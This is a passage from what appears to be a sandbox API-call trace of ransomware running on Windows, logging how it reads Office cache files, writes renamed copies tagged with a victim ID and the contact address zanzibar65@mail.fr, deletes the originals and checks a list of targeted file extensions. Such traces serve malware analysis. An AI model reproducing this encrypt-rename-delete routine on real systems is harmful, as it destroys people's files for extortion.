lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x106f, lpOverlapped=0x0) returned 1 [0034.249] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0034.250] ReadFile (in: hFile=0x190, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.250] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.250] SetEndOfFile (hFile=0x194) returned 1 [0034.250] CloseHandle (hObject=0x194) returned 1 [0034.251] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.251] SetEndOfFile (hFile=0x190) returned 1 [0034.252] CloseHandle (hObject=0x190) returned 1 [0034.252] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.252] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.253] lstrlenW (lpString=".doc") returned 4 [0034.253] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.253] lstrlenW (lpString=".docx") returned 5 [0034.253] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.253] lstrlenW (lpString=".pdf") returned 4 [0034.253] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.253] lstrlenW (lpString=".xls") returned 4 [0034.253] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.253] lstrlenW (lpString=".xlsx") returned 5 [0034.253] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.253] lstrlenW (lpString=".ppt") returned 4 [0034.253] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.253] lstrlenW (lpString=".zip") returned 4 [0034.253] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.253] lstrlenW (lpString=".rar") returned 4 [0034.253] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.253] lstrlenW (lpString=".bz2") returned 4 [0034.253] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.253] lstrlenW (lpString=".7z") returned 3 [0034.253] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.253] lstrlenW (lpString=".dbf") returned 4 [0034.253] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.254] lstrlenW (lpString=".1cd") returned 4 [0034.254] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.254] lstrlenW (lpString=".jpg") returned 4 [0034.254] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.254] lstrlenW (lpString=".doc") returned 4 [0034.254] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.254] lstrlenW (lpString=".docx") returned 5 [0034.254] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.254] lstrlenW (lpString=".pdf") returned 4 [0034.254] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.254] lstrlenW (lpString=".xls") returned 4 [0034.254] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.254] lstrlenW (lpString=".xlsx") returned 5 [0034.254] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.254] lstrlenW (lpString=".ppt") returned 4 [0034.254] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.254] lstrlenW (lpString=".zip") returned 4 [0034.254] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.254] lstrlenW (lpString=".rar") returned 4 [0034.254] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.254] lstrlenW (lpString=".bz2") returned 4 [0034.254] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.254] lstrlenW (lpString=".7z") returned 3 [0034.254] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.254] lstrlenW (lpString=".dbf") returned 4 [0034.254] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.254] lstrlenW (lpString=".1cd") returned 4 [0034.255] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.255] lstrlenW (lpString=".jpg") returned 4 [0034.255] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.255] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.255] lstrlenW (lpString="Setup.xml") returned 9 [0034.255] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0034.255] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=2424) returned 1 [0034.255] CloseHandle (hObject=0x190) returned 1 [0034.255] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.255] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.255] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0034.255] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.255] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.256] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.257] GetLastError () returned 0x0 [0034.257] ReadFile (in: hFile=0x190, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x978, lpOverlapped=0x0) returned 1 [0034.259] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x980, lpOverlapped=0x0) returned 1 [0034.259] ReadFile (in: hFile=0x190, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.260] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.260] SetEndOfFile (hFile=0x194) returned 1 [0034.260] CloseHandle (hObject=0x194) returned 1 [0034.261] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.261] SetEndOfFile (hFile=0x190) returned 1 [0034.261] CloseHandle (hObject=0x190) returned 1 [0034.261] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.262] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.262] lstrlenW (lpString=".doc") returned 4 [0034.262] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.262] lstrlenW (lpString=".docx") returned 5 [0034.262] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.262] lstrlenW (lpString=".pdf") returned 4 [0034.262] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.262] lstrlenW (lpString=".xls") returned 4 [0034.262] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.262] lstrlenW (lpString=".xlsx") returned 5 [0034.262] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.262] lstrlenW (lpString=".ppt") returned 4 [0034.262] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.262] lstrlenW (lpString=".zip") returned 4 [0034.262] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.262] lstrlenW (lpString=".rar") returned 4 [0034.262] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.262] lstrlenW (lpString=".bz2") returned 4 [0034.262] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.263] lstrlenW (lpString=".7z") returned 3 [0034.263] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.263] lstrlenW (lpString=".dbf") returned 4 [0034.263] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.263] lstrlenW (lpString=".1cd") returned 4 [0034.263] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.263] lstrlenW (lpString=".jpg") returned 4 [0034.263] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.263] lstrlenW (lpString=".doc") returned 4 [0034.263] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.263] lstrlenW (lpString=".docx") returned 5 [0034.263] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.263] lstrlenW (lpString=".pdf") returned 4 [0034.263] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.263] lstrlenW (lpString=".xls") returned 4 [0034.263] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.263] lstrlenW (lpString=".xlsx") returned 5 [0034.263] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.263] lstrlenW (lpString=".ppt") returned 4 [0034.263] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.263] lstrlenW (lpString=".zip") returned 4 [0034.263] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.263] lstrlenW (lpString=".rar") returned 4 [0034.263] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.263] lstrlenW (lpString=".bz2") returned 4 [0034.263] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.264] lstrlenW (lpString=".7z") returned 3 [0034.264] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.264] lstrlenW (lpString=".dbf") returned 4 [0034.264] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.264] lstrlenW (lpString=".1cd") returned 4 [0034.264] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.264] lstrlenW (lpString=".jpg") returned 4 [0034.264] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.264] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.264] lstrlenW (lpString="Proof.xml") returned 9 [0034.264] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0034.265] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1347) returned 1 [0034.265] CloseHandle (hObject=0x190) returned 1 [0034.265] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0034.265] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.265] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0034.265] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.265] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.265] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.266] GetLastError () returned 0x0 [0034.266] ReadFile (in: hFile=0x190, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x543, lpOverlapped=0x0) returned 1 [0034.267] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x550, lpOverlapped=0x0) returned 1 [0034.268] ReadFile (in: hFile=0x190, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.268] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.268] SetEndOfFile (hFile=0x194) returned 1 [0034.268] CloseHandle (hObject=0x194) returned 1 [0034.269] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.269] SetEndOfFile (hFile=0x190) returned 1 [0034.270] CloseHandle (hObject=0x190) returned 1 [0034.270] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.270] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0034.270] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.270] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.270] lstrlenW (lpString=".doc") returned 4 [0034.270] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.270] lstrlenW (lpString=".docx") returned 5 [0034.270] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.270] lstrlenW (lpString=".pdf") returned 4 [0034.270] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.270] lstrlenW (lpString=".xls") returned 4 [0034.270] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.270] lstrlenW (lpString=".xlsx") returned 5 [0034.270] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.270] lstrlenW (lpString=".ppt") returned 4 [0034.270] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.270] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.270] lstrlenW (lpString=".zip") returned 4 [0034.271] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.271] lstrlenW (lpString=".rar") returned 4 [0034.271] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.271] lstrlenW (lpString=".bz2") returned 4 [0034.271] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.271] lstrlenW (lpString=".7z") returned 3 [0034.271] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.271] lstrlenW (lpString=".dbf") returned 4 [0034.271] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.271] lstrlenW (lpString=".1cd") returned 4 [0034.271] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.271] lstrlenW (lpString=".jpg") returned 4 [0034.271] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.271] lstrlenW (lpString=".doc") returned 4 [0034.271] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.271] lstrlenW (lpString=".docx") returned 5 [0034.271] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.271] lstrlenW (lpString=".pdf") returned 4 [0034.271] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.271] lstrlenW (lpString=".xls") returned 4 [0034.271] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.271] lstrlenW (lpString=".xlsx") returned 5 [0034.271] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.271] lstrlenW (lpString=".ppt") returned 4 [0034.271] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.271] lstrlenW (lpString=".zip") returned 4 [0034.272] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.272] lstrlenW (lpString=".rar") returned 4 [0034.272] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.272] lstrlenW (lpString=".bz2") returned 4 [0034.272] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.272] lstrlenW (lpString=".7z") returned 3 [0034.272] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.272] lstrlenW (lpString=".dbf") returned 4 [0034.272] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.272] lstrlenW (lpString=".1cd") returned 4 [0034.272] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.272] lstrlenW (lpString=".jpg") returned 4 [0034.272] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.272] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.272] lstrlenW (lpString="Proof.xml") returned 9 [0034.272] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0034.273] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1457) returned 1 [0034.273] CloseHandle (hObject=0x190) returned 1 [0034.273] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0034.273] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.273] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0034.273] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.273] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.273] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all 